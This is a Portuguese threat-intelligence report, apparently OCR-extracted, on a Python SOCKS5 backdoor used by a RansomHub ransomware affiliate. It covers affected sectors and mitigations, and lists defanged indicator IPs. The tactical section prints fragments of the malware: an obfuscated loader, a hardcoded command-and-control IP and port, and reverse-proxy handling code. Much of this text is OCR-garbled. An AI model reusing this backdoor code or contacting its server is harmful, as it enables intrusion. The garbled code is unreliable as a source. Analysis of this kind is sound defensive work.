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/

Malware

Malware Ransomware

CONTAS DO FACEBOOK SAO INVADIDAS ALERTA PARA RETORNO DD MALWARE GRUPO DE RANSOMWARE CLOP

POR EXTENSOES MALICIOSAS DE EMOTET! EXPLORANDO VULNERABILIDADE PARA
NAVEGADORES NOVAS VIiTIMAS

0 malware Emotet ap6s permanecer alguns
Descoberto recentemente que atores meses sem operagdes retornou cou outro 0 grupo de Ransomware conhecido como
maliciosos utilizam extensées de meio de propagagao, via OneNote e também Clop esta explorando ativamente a
navegadores para realizar o roubo de cookies dos métodos ja conhecidos via Planilhas e vulnerabilidade conhecida como
de sessdes de sites como o Facebook. A Documentos do Microsoft Office CVE-2023-0669, na qual realizou o ataque a
extensdo maliciosa é oferecida como um diversas organizagoes e expds os dados no

anexo do ChatGPT. site de data leaks
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1 INTRODUGAO EXECUTIVA

Este relatério de seguranca, desenvolvido pela equipe de Inteligéncia de
Ameacas da ISH, Heimdall, tem como objetivo proporcionar uma compreensao
aprofundada e um dimensionamento preciso das ameacas cibernéticas
identificadas. O documento esta estruturado em trés niveis de abordagem:
Estratégico, Tatico e Operacional, garantindo uma visdo completa e integrada das
ameacas e acoes recomendadas.

2 ESTRATEGICO

2.1 SEGMENTO DE MERCADO

Os segmentos de mercado potencialmente afetados por essa ameaca que
serd descrita neste relatério, incluem:

e Tecnologia da Informacéo
e [ndustrias de Servigos

e Saude

e Fducacéo

e Governamental

e Fnergia

e Manufatura

e fFinanceiros

e [ogistica

IMPACTO FINANCEIRO POTENCIAL

e Interrupcdo de Operacées
e Perda de Dados

e Custos de Resgate

e Multas e Sang¢bes

e Perdas de Receita

e Danos almagem da Marca
e Recuperacdo de Sistemas

2.2 OBIJETIVO DA AMEAGCA

Obter acesso nao autorizado a sistemas corporativos, permitindo a
exfiltracdo de dados sensiveis e a implantacdo de ransomware para extorsg
financeira
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3 TATICO

3.1 INFORMAGOES SOBRE A AMEAGCA

Conforme analise da guidepointsecurity, esta ameaca envolve o uso de um
backdoor desenvolvido em Python por um afiliado do grupo RansomHub
Ransomware-as-a-Service (RaaS). O objetivo principal é obter acesso néao
autorizado a sistemas corporativos para exfiltrar dados sensiveis e implantar
ransomware, resultando em extorsdo financeira. Ferramentas como ngrok,
Remmina e Tailscale sio utilizadas para tunelamento reverso, acesso remoto e
conexao VPN, respectivamente. Scripts em Python e PowerShell, alguns
provenientes de repositérios publicos, sdo empregados para automatizar acoes
maliciosas.

3.2 OPERACAO E CAPACIDADE DA AMEAGA

Ofuscacao e técnica de codificagao

e O backdoor em Python utilizado pelo afiliado do RansomHub tem como
objetivo inicial estabelecer acesso continuo e ndo autorizado aos sistemas
alvo. Ele coleta informagdes sensiveis, como credenciais de usuarios e
configuracoes criticas da infraestrutura comprometida. Além disso, scripts
automatizados em Python e PowerShell sdo empregados para identificar e
exfiltrar dados valiosos.

pyobfuscate=(lambda getattr:[((lambda IT1IT,T1IT]1:setattr(_ builtins ,IT1TT,
I1TT1)){(IT11T,11111)) for IT1ITI,I1TT1 in getattr.items()]);Il=chr{114)+chr
(181);1I=r'[*a-zA-28-9] "' ;1I1=chr(115)+chr{117)+chr(og8)

pyobtuscate({getattr( import (Il1),1T1){1T,'","https://pyobfuscate.com”

:"111T111T111TITT11TT1111TTIITIITITAL", ‘pyc ' " " " Gt&#AvR2YWT k&

w<5khkueT17g Aw c3g" 7CmsvyT? -D!dp@CejHPW>h=27 JiG2QL ;GFyZ(n>HD91igH A)r)n2uWg |
p<TGagDtCn%=2zYGShCm; Q&GRI1A3Y | X5&<NQ( E=AVKV+a(zddig* yUdH24P3*R8#LyC1k +&
fad~K$8gcxs ( {dMd7QZJe7>ZUTFM008Sz%e in~~R59eJ9d
{sWgnrpsgalb’ QE! 2bmkg<MDz# | 6> | C=7ykhvco> tkng&

Figura 1 - Ofuscacgéao de backdoor do Python.
Comando e controle

e A ameaca estabelece conexdo com um enderego IP codificado,
funcionando como um proxy reverso que utiliza o protocolo SOCKS5. Essa
abordagem permite a movimentacao lateral na rede comprometida,
utilizando o sistema da vitima como ponto de entrada para outros ataques.
A combinacdo de tunelamento e proxy oferece aos invasores um meio
furtivo e resiliente para manter acesso continuo e realizar agcdes maliciosas,
como exfiltracdo de dados e implantacdo de ransomware.
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parser = argparse.ArgumentParser()
parser.add argument('-ip‘, dest="proxy ip', required= > default="'108.181.182.143")
parser.add argument({'-port', dest='proxy port', required= > default=443, type=int)

parser.add argument('-debug', action="'store true')
args = parser.parse_args()

Figura 2 — Endereco IP codificado.

ApOs a segunda conexao ser estabelecida, o sistema comprometido
funciona como um proxy para o endereco C2 dos agentes maliciosos. As versoes
analisadas do script suportam apenas trafego TCP tunelado, sem compatibilidade
comenderecos IPv6. Embora os valores esperados sigam o protocolo SOCKS5, sua
implementacgao é parcial.

start_transferring(self):
try:
B, €, E = struct.unpack( 'BBB', self.service_connection.recv(3))
except struct.error:
pass
else:
if B == 1:
if ¢ == 1:
try:
D = socket.inet ntoa(self.service_connection.recv(4))
except:
logging. info( 'Proxy server returned bad IPv4 address', exc_info=_A)
self.close()
elif ¢ == 3:
try:
D = self.service_connection.recv(E).decode(_D)
logging.debug( 'Proxy server selected domain name as target address®)
except:
logging.debug( 'some problems in decode procedure', exc_info=_aA)
self.close()
elif Cc == a:
logging. info( 'Proxy serwver selected unsupported addressing IPv6')
self.close()
else:
logging. info( 'Proxy server selected unknown addressing')
self.close()
F = struct.unpack('H', self.service connection.recv(2))[a]
G, H = self.return_tcp client connection{D, F)
self.service connection.sendall(struct.pack( cC, 1))
self.service connection.sendall(struct.pack('BB", 1, 4) + socket.inet pton(socket.AF_IMET, G)
“OMNECT_transferring()

logging. info( 'Proxy serwver select unsupported operation BIND')
self.close()

elif B == 3:
logging. info( 'Proxy server select unsupported operation UDP')
self.close()

else:
logging. info( "Proxy server select unknown operation®)

Figura 3 - Tratamento de erros de proxy.
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4 RECOMENDAGOES

Além dos indicadores de comprometimento elencados abaixo pela ISH,
poderdo ser adotadas medidas visando a mitigacdo da infeccdo da referida
ameaga, como por exemplo:

Atualize e monitore software e sistemas

e Certifique-se de que todos os sistemas, aplicativos e dispositivos estdocom
0s patches e atualizagbes de seguranca mais recentes. Isso reduz a
exposicao avulnerabilidades exploradas por backdoors.

Utilize firewalls e IDS/IPS

e Configure firewalls para bloquear trafego incomum ou nao autorizado. Use
IDS/IPS para monitorar e identificar padroes suspeitos de comportamento
narede.

Implemente autenticagao multifator (MFA)

e Adote o MFA para todos os acessos a sistemas criticos, reduzindo as
chances de que credenciais comprometidas sejam usadas para instalar
backdoors.

Realize varreduras regulares

e Use antivirus, antimalware e ferramentas especializadas para identificar
softwares maliciosos, inclusive os que possam ter técnicas de ofuscacéo.

Monitore logs e eventos de sistemas

e Configure logs detalhados e monitore eventos em servidores, endpoints e
redes para detectar conexdes incomuns ou atividades andmalas,
especialmente com servidores externos.

Limite permissoes e privilégio

o Restrinja acessos administrativos e privilegie apenas o que é essencial para
cada usuario ou sistema, minimizando o impacto de uma possivel
exploracgéo.

Conscientizacao ciberseguranca

e Treine usuadrios finais e equipes técnicas para identificar phishing,
engenharia social e sinais de possivel comprometimento, como lentidao
anormal ou processos desconhecidos.
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5 OPERACIONAL

A ISH Tecnologia realiza o tratamento de diversos indicadores de
compromissos coletados por meio de fontes abertas, fechadas e também de
analises realizadas pela equipe de seguranca Heimdall. Diante disto, abaixo
listamos todos os Indicadores de Comprometimento (IOCs) relacionadas a analise
do(s) artefato(s) deste relatoério.

5.1 INDICADORES DE URL, IPs E DOMINIOS
Indicadores de URL, IPs e Dominios
IP 185[.]174[.]101[.]240
38[.]180[.]181[.]153
104[.1238[.161[.]144
88[.]119[.]1175[.]65
23[.]227[.]193[.]172
185[.]174[.]101[.]69
92[.]1118[.]112[.]208
37[.11[.]1212[.]118
108[.]181[.]182[.]1143
92[.]118[.]112[.]143
45[.]182[.]85[.]50
108[.]1181[.]1115[.]1171
88[.]119[.]175[.]70
5[.]18[.163[.]178
45[.]166[.]248[.]150
173[.]44[.1141[.1226
Tabela 1 - Indicadores de Comprometimento de Rede.

Obs: Os links e enderecos IP elencados acima podem estar ativos; cuidado ao realizar a
manipulacdo dos referidos 10Cs, evite realizar o clique e se tornar vitima do conteudo malicioso
hospedado no loC.
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